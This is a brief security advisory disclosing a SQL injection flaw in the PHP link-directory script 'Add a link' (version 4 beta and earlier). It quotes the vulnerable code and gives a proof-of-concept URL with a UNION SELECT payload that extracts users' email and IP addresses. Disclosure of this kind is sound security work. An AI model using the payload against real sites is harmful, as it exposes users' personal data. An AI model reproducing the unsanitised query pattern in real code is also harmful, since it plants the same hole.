addalink <= 4 (category_id) Remote SQL Injection Vulnerability

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Add a link <= 4 - beta || Remote SQL Injection Vulnerability
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/ Script: Add a link
/ Version: <= 4 - beta
/ File affected: user_read_links.php
/ Download: http://sourceforge.net/projects/addalink/
/ need magic_quotes_gpc = Off


Found by ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org


Vuln Code:
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32:  $read_out_linktable="SELECT * FROM $linktable WHERE approved='1' AND category_id='$category_id' ORDER BY id DESC LIMIT $start,$steps";
33:  $read_result=mysql_query($read_out_linktable);

....

87:  while($data=mysql_fetch_array($read_result))
88:  {
90:      echo "<tr><td colspan=\"5\">$data[description]</td></tr>";
91:  }

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The var $category_id isn't verified.


Proof of Concept:

http://[host]/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*


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